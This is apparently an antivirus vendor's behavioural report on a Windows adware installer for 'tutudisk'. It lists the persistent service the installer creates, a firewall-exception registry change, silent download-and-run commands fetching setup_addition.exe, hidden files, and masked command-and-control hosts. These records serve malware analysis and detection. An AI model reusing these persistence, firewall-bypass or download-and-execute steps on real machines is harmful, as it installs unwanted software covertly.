Technical Information
To ensure autorun and distribution:
Creates the following services:
- [<HKLM>\SYSTEM\ControlSet001\Services\NATService] 'Start' = '00000002'
Malicious functions:
To bypass firewall, removes or modifies the following registry keys:
- [<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List] '%PROGRAM_FILES%\NAT Service\natsvc.exe' = '%PROGRAM_FILES%\NAT Service\natsvc.exe:*:Enabled:NATService'
Creates and executes the following:
- '%TEMP%\nsq3.tmp\SetupHlpr.exe' /shellexec:{@TEMP}\tututmp_setup.exe^^yes
- '%TEMP%\tututmp_setup.exe'
- '%TEMP%\nsq3.tmp\SetupHlpr.exe' /delete:{@TEMP}\tututmp_setup.exe
- '%TEMP%\nsq3.tmp\SetupHlpr.exe' "/download:http://www.tu###isk.com/mmsv/setup_addition.exe^{@TEMP}\tututmp_setup.exe"
- '%PROGRAM_FILES%\tutudisk.com\tutudisk(normal)\svc_setup.exe' /VERYSILENT /SUPPRESSMSGBOXES
- '%TEMP%\is-TGA8P.tmp\svc_setup.tmp' /SL5="$A0036,1070501,54272,%PROGRAM_FILES%\tutudisk.com\tutudisk(normal)\svc_setup.exe" /VERYSILENT /SUPPRESSMSGBOXES
- '%PROGRAM_FILES%\NAT Service\natsvc.exe'
- '%TEMP%\tututmp_setup.exe' (downloaded from the Internet)
Executes the following:
- '<SYSTEM32>\net1.exe' start NATService
- '<SYSTEM32>\sc.exe' create NATService binPath= "%PROGRAM_FILES%\NAT Service\natsvc.exe" start= auto
- '<SYSTEM32>\taskkill.exe' /f /im upsvc.exe
Modifies file system :
Creates the following files:
- %PROGRAM_FILES%\tutudisk.com\tutudisk(fast)\ippcore-5.2.dll
- %PROGRAM_FILES%\tutudisk.com\tutudisk(fast)\ippi-5.2.dll
- %PROGRAM_FILES%\tutudisk.com\tutudisk(fast)\ippipx-5.2.dll
- %PROGRAM_FILES%\tutudisk.com\tutudisk(fast)\cabinet.dll
- %PROGRAM_FILES%\tutudisk.com\tutudisk(fast)\FCvScan.dll
- %PROGRAM_FILES%\tutudisk.com\tutudisk(fast)\FCvServer.ini
- %PROGRAM_FILES%\tutudisk.com\tutudisk(fast)\libguide40.dll
- %PROGRAM_FILES%\tutudisk.com\tutudisk(fast)\swscale-2.dll
- %PROGRAM_FILES%\tutudisk.com\tutudisk(fast)\TutudiskCMC.dll
- %PROGRAM_FILES%\tutudisk.com\tutudisk(fast)\TutudiskCMCU.dll
- %PROGRAM_FILES%\tutudisk.com\tutudisk(fast)\MediaInfo.dll
- %PROGRAM_FILES%\tutudisk.com\tutudisk(fast)\MurekaAVD.exe
- %PROGRAM_FILES%\tutudisk.com\tutudisk(fast)\MurekaWma.dll
- %PROGRAM_FILES%\tutudisk.com\tutudisk(fast)\tutuDiskDown.exe
- %PROGRAM_FILES%\tutudisk.com\tutudisk(fast)\nat.dll
- %PROGRAM_FILES%\tutudisk.com\tutudisk(fast)\Ark32.dll
- %PROGRAM_FILES%\NAT Service\unins000.dat
- %TEMP%\nsq3.tmp\Processes.dll
- %PROGRAM_FILES%\tutudisk.com\tutudisk(fast)\tutudisk.ico
- %PROGRAM_FILES%\tutudisk.com\tutudisk(fast)\avcodec-53.dll
- %PROGRAM_FILES%\tutudisk.com\tutudisk(fast)\az7z.dll
- %PROGRAM_FILES%\tutudisk.com\tutudisk(fast)\AzCDImage.dll
- %PROGRAM_FILES%\tutudisk.com\tutudisk(fast)\AZMain.dll
- %PROGRAM_FILES%\tutudisk.com\tutudisk(fast)\avdevice-53.dll
- %PROGRAM_FILES%\tutudisk.com\tutudisk(fast)\avformat-53.dll
- %PROGRAM_FILES%\tutudisk.com\tutudisk(fast)\avutil-51.dll
- %PROGRAM_FILES%\tutudisk.com\tutudisk(fast)\TachionLive\ENGS\TYAVPU_000.bin
- %PROGRAM_FILES%\tutudisk.com\tutudisk(fast)\ЕхЕхµрЅєЕ©.url
- %PROGRAM_FILES%\tutudisk.com\tutudisk(fast)\Uninstall.exe
- %PROGRAM_FILES%\tutudisk.com\tutudisk(fast)\TachionLive\ENGS\TYAVP2_004.bin
- %PROGRAM_FILES%\tutudisk.com\tutudisk(fast)\TachionLive\ENGS\TYAVP2_005.bin
- %PROGRAM_FILES%\tutudisk.com\tutudisk(fast)\TachionLive\ENGS\TYAVP2_006.bin
- <SYSTEM32>\tutudisk.ico
- %HOMEPATH%\Start Menu\Programs\ЕхЕхµрЅєЕ©\ЕхЕхµрЅєЕ© »иБ¦.lnk
- %TEMP%\nsq3.tmp\SetupHlpr.exe
- %TEMP%\tututmp_setup.exe.t00_
- %APPDATA%\Microsoft\Internet Explorer\Quick Launch\ЕхЕхµрЅєЕ©.lnk
- %HOMEPATH%\Desktop\ЕхЕхµрЅєЕ©.lnk
- %HOMEPATH%\Start Menu\Programs\ЕхЕхµрЅєЕ©\ЕхЕхµрЅєЕ©.lnk
- %PROGRAM_FILES%\tutudisk.com\tutudisk(fast)\unrar4.dll
- %PROGRAM_FILES%\tutudisk.com\tutudisk(fast)\sver.ini
- %PROGRAM_FILES%\tutudisk.com\tutudisk(fast)\TachionLive\TeCtrl.dll
- %PROGRAM_FILES%\tutudisk.com\tutudisk(fast)\unace32.exe
- %PROGRAM_FILES%\tutudisk.com\tutudisk(fast)\UNACEV2.DLL
- %PROGRAM_FILES%\tutudisk.com\tutudisk(fast)\UnEGG32.dll
- %PROGRAM_FILES%\tutudisk.com\tutudisk(fast)\TachionLive\ENGS\BWT.dll
- %PROGRAM_FILES%\tutudisk.com\tutudisk(fast)\TachionLive\ENGS\TYAVP2_001.bin
- %PROGRAM_FILES%\tutudisk.com\tutudisk(fast)\TachionLive\ENGS\TYAVP2_002.bin
- %PROGRAM_FILES%\tutudisk.com\tutudisk(fast)\TachionLive\ENGS\TYAVP2_003.bin
- %PROGRAM_FILES%\tutudisk.com\tutudisk(fast)\TachionLive\ENGS\BwtTrust.dll
- %PROGRAM_FILES%\tutudisk.com\tutudisk(fast)\TachionLive\ENGS\tyav32.dll
- %PROGRAM_FILES%\tutudisk.com\tutudisk(fast)\TachionLive\ENGS\TYAVP_000.bin
- %PROGRAM_FILES%\tutudisk.com\tutudisk(normal)\ippi-5.2.dll
- %PROGRAM_FILES%\tutudisk.com\tutudisk(normal)\ippipx-5.2.dll
- %PROGRAM_FILES%\tutudisk.com\tutudisk(normal)\libguide40.dll
- %PROGRAM_FILES%\tutudisk.com\tutudisk(normal)\FCvScan.dll
- %PROGRAM_FILES%\tutudisk.com\tutudisk(normal)\FCvServer.ini
- %PROGRAM_FILES%\tutudisk.com\tutudisk(normal)\ippcore-5.2.dll
- %PROGRAM_FILES%\tutudisk.com\tutudisk(normal)\MediaInfo.dll
- %PROGRAM_FILES%\tutudisk.com\tutudisk(normal)\TutudiskCMC.dll
- %PROGRAM_FILES%\tutudisk.com\tutudisk(normal)\unace32.exe
- %PROGRAM_FILES%\tutudisk.com\tutudisk(normal)\UNACEV2.DLL
- %PROGRAM_FILES%\tutudisk.com\tutudisk(normal)\MurekaAVD.exe
- %PROGRAM_FILES%\tutudisk.com\tutudisk(normal)\MurekaWma.dll
- %PROGRAM_FILES%\tutudisk.com\tutudisk(normal)\swscale-2.dll
- %PROGRAM_FILES%\tutudisk.com\tutudisk(normal)\svc_setup.exe
- %PROGRAM_FILES%\tutudisk.com\tutudisk(normal)\Ark32.dll
- %PROGRAM_FILES%\tutudisk.com\tutudisk(normal)\avcodec-53.dll
- %TEMP%\nsv2.tmp
- %PROGRAM_FILES%\tutudisk.com\tutudisk(normal)\tutudisk.ico
- %PROGRAM_FILES%\tutudisk.com\tutudisk(normal)\tutudiskUp.exe
- %PROGRAM_FILES%\tutudisk.com\tutudisk(normal)\avdevice-53.dll
- %PROGRAM_FILES%\tutudisk.com\tutudisk(normal)\AzCDImage.dll
- %PROGRAM_FILES%\tutudisk.com\tutudisk(normal)\AZMain.dll
- %PROGRAM_FILES%\tutudisk.com\tutudisk(normal)\cabinet.dll
- %PROGRAM_FILES%\tutudisk.com\tutudisk(normal)\avformat-53.dll
- %PROGRAM_FILES%\tutudisk.com\tutudisk(normal)\avutil-51.dll
- %PROGRAM_FILES%\tutudisk.com\tutudisk(normal)\az7z.dll
- %PROGRAM_FILES%\tutudisk.com\tutudisk(normal)\Winup3.0_down_wp001.exe
- %PROGRAM_FILES%\tutudisk.com\tutudisk(normal)\tutu_icon_set.exe
- %PROGRAM_FILES%\tutudisk.com\tutudisk(normal)\ЕхЕхµрЅєЕ©.url
- %PROGRAM_FILES%\tutudisk.com\tutudisk(normal)\TachionLive\ENGS\TYAVP2_006.bin
- %PROGRAM_FILES%\tutudisk.com\tutudisk(normal)\TachionLive\ENGS\TYAVPU_000.bin
- %PROGRAM_FILES%\tutudisk.com\tutudisk(normal)\FineTop__FT72.exe
- %PROGRAM_FILES%\tutudisk.com\tutudisk(normal)\Uninstall.exe
- %PROGRAM_FILES%\NAT Service\is-79G5L.tmp
- %PROGRAM_FILES%\NAT Service\is-CCB25.tmp
- %PROGRAM_FILES%\NAT Service\is-6JUH1.tmp
- %TEMP%\is-TGA8P.tmp\svc_setup.tmp
- %TEMP%\is-8PG3P.tmp\_isetup\_RegDLL.tmp
- %TEMP%\is-8PG3P.tmp\_isetup\_shfoldr.dll
- %PROGRAM_FILES%\tutudisk.com\tutudisk(normal)\TachionLive\TeCtrl.dll
- %PROGRAM_FILES%\tutudisk.com\tutudisk(normal)\TachionLive\ENGS\BWT.dll
- %PROGRAM_FILES%\tutudisk.com\tutudisk(normal)\TachionLive\ENGS\BwtTrust.dll
- %PROGRAM_FILES%\tutudisk.com\tutudisk(normal)\UnEGG32.dll
- %PROGRAM_FILES%\tutudisk.com\tutudisk(normal)\unrar4.dll
- %PROGRAM_FILES%\tutudisk.com\tutudisk(normal)\ver.ini
- %PROGRAM_FILES%\tutudisk.com\tutudisk(normal)\TachionLive\ENGS\tyav32.dll
- %PROGRAM_FILES%\tutudisk.com\tutudisk(normal)\TachionLive\ENGS\TYAVP2_003.bin
- %PROGRAM_FILES%\tutudisk.com\tutudisk(normal)\TachionLive\ENGS\TYAVP2_004.bin
- %PROGRAM_FILES%\tutudisk.com\tutudisk(normal)\TachionLive\ENGS\TYAVP2_005.bin
- %PROGRAM_FILES%\tutudisk.com\tutudisk(normal)\TachionLive\ENGS\TYAVP_000.bin
- %PROGRAM_FILES%\tutudisk.com\tutudisk(normal)\TachionLive\ENGS\TYAVP2_001.bin
- %PROGRAM_FILES%\tutudisk.com\tutudisk(normal)\TachionLive\ENGS\TYAVP2_002.bin
Sets the 'hidden' attribute to the following files:
- %PROGRAM_FILES%\NAT Service\natsvc.exe
- %PROGRAM_FILES%\NAT Service\upsvc.exe
Deletes the following files:
- %TEMP%\nsq3.tmp\Processes.dll
- %TEMP%\nsq3.tmp\SetupHlpr.exe
- %TEMP%\tututmp_setup.exe
- %PROGRAM_FILES%\tutudisk.com\tutudisk(normal)\tutu_icon_set.exe
- %TEMP%\is-8PG3P.tmp\_isetup\_RegDLL.tmp
- %TEMP%\is-8PG3P.tmp\_isetup\_shfoldr.dll
- %TEMP%\is-TGA8P.tmp\svc_setup.tmp
Moves the following files:
- from %PROGRAM_FILES%\NAT Service\is-6JUH1.tmp to %PROGRAM_FILES%\NAT Service\natsvc.exe
- from %TEMP%\tututmp_setup.exe.t00_ to %TEMP%\tututmp_setup.exe
- from %PROGRAM_FILES%\NAT Service\is-79G5L.tmp to %PROGRAM_FILES%\NAT Service\unins000.exe
- from %PROGRAM_FILES%\NAT Service\is-CCB25.tmp to %PROGRAM_FILES%\NAT Service\upsvc.exe
Network activity:
Connects to:
- 's6.##ridhub.net':1120
- 'www.tu###isk.com':80
- 'co###.kgridhub.com':1120
- 's5.##ridhub.net':1120
TCP:
HTTP GET requests:
- www.tu###isk.com/mmsv/setup_addition.exe
UDP:
- DNS ASK s6.##ridhub.net
- DNS ASK www.tu###isk.com
- DNS ASK co###.kgridhub.com
- DNS ASK s5.##ridhub.net
Miscellaneous:
Searches for the following windows:
- ClassName: '(null)' WindowName: '?????????? ???????? ????'
- ClassName: '(null)' WindowName: '(null)'
- ClassName: 'Shell_TrayWnd' WindowName: '(null)'
